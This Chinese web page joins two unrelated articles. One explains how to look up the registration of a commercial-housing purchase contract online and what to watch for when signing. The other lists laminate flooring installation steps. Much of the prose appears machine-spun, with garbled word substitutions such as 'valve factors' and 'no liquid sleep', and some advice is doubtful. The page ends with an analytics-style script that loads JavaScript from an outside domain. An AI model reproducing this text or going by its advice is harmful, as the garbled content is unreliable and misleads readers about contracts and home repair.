商品房买卖合同查询方法 有什么签订注意事项？

商品房买卖是一件麻烦的事情，不仅仅在于前期房子地理位置以及硬件设施等等阀门的因素考量，还在于后期签订过程中合同的书写和注意事项。由此得知只有综合法律方面的尝试和专业人士的指点建议才可以在最大程度上保障自己的安全健康，才能够避免后期可能会出现的麻烦纠纷。那么接下来就随小编一起来了解分析一下与之相关对应的知识吧。一、商品房买卖合同查询方法商品房购房合同需要到房管部门登记备案后才能履行合法效力，但办理备案一般都由开发商去办理，并且因为按揭、抵押、分户产权都要用到备案合同，而这些手续也是开发商代为办理，所以备案合同一般也不给购房者保管，那么我们如何才能了解自己的购房合同已经备案，从而保护自己的合法权益呢?其实可以通过网上查询的方式。1、打开浏览器，找到百度搜索栏。2、在百度搜索栏输入“XX市住房保障和房产管理局”，比如，“南宁市住房保障和房产管理局”并单击搜索。3、点击进入南宁市住房保障和房产管理局官网。4、在网站中找到“网上服务大厅”，并点击进入“商品房网上备案查询”。5、在弹出的网页中，要求同时输入房屋代码、购房者、购房者证件号码，其中房屋代码在购房合同中可找到，或者可询问开发商。输入完毕后，单击查询。6、查询成功。二、商品房买卖合同怎么签购房人签合同前应先看一下前面的说明，明确以下问题：1、《商品房买卖合同》示范文本虽由市国土房管局统一编号、印制，但仅是在本市取得商品房(包括经济适用房)预售许可证的项目中推荐使用，而非强迫使用。2、合同文本〔〕中为选择内容，并有很多空格和空白行，供房地产商和购房人自行约定或补充约定，合同中涉及选择的，自行约定的内容优先于示范文本中的固定条款，房地产商和购房人都有权对示范文本条款的内容进行修改、增补或删减。3、购房人签合同时一定要注意对示范文本〔〕中内容的选择，在空格或空行部位填写需要删除或添加的内容，如不作约定或以补充协议形式另行约定时，应划掉空格或空行部位，避免留下后患。不容忽视“当事人”在合同条款之前，我们首先看到的是关于当事人的约定，对此很多购房人都不太重视，事后遇到了一些不必要的麻烦。购房人签合同前首先要确定在合同上填写的出卖人与预售许可证上的售房单位是否一致，上网查一下出卖人的营业执照注册号和企业资质证书号的真伪，不要接受代理人或代理机构将自己的名字代替预售许可证上的售房单位填写在出卖人栏目中。避免已出现过的购房人付了钱，房地产商却说没收到钱而不肯交房的案件再次重演。上文举例的是关于商品房买卖合同查询方法、签订注意事项方面的知识，由此得知商品房买卖合同在签订之前还应该综合很多方面因素进行考量，比如查询合同的编码确定其是否具备法律效力，以及参考自己的实际情况调整与之对应的条款信息，除此之外小编认为最为关键的就是求助有关专业人士的建议进行操作分析了，比如上文就是极为具有借鉴意义的知识。

复合地板安装方法都有一些什么呢

今天，大多数人在家中安装木地板，不仅因为它的美观，而且还因为它的高安全系数，特别是对于有老年人和儿童的家庭。复合地板的安装并不容易，需要考虑很多细节。今天我将告诉您复合地板安装步骤和复合地板安装方法要注意什么。复合地板安装方法1、如果没用的物品无法清理并踩在地上，你可以感受到“沙子”的声音。因此，需要完全清洁，包括每个角落。2、如果地板不平，则必须先将地板平整，然后放置。3、在放置地板之前在地板上放置防潮层。放置防潮层时，一定要将其弄平，防潮层的接缝必须在一起，没有间隙。这样可以防止地板长时间受潮。4、每个人都应该知道地板会膨胀，所以当放置木地板时，在地板和墙壁接触的区域，保留伸缩缝以防止地板上升。5、检查特殊胶水是否合格放置木地板时，需要特殊的胶水，不仅粘度高，而且污染少。如果它是市场上购买的胶水，最好不要使用它，污染更严重。6、开始铺设木地板，一般来说，它们将被放置在一个长而一个短的顺序中，以便公布的地板的质量更好并且不容易松动。拼接后，您必须停止并使用工具。7、复合地板安装方法连接和安装锚线。最后一步是连接地板线，可以用玻璃胶填充。​复合地板安装方法的注意事项1、地板的水平误差必须控制在2毫米。如果超出此范围，则必须通过水泥表面重新铺设。2、在铺地之前，你必须确保地板干燥，没有液体睡眠。如果是铺设的混凝土地板，请在放置木地板前至少等待3天。3、在切割木地板时，最好拿起有缺陷的地板并减少地板的损失。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();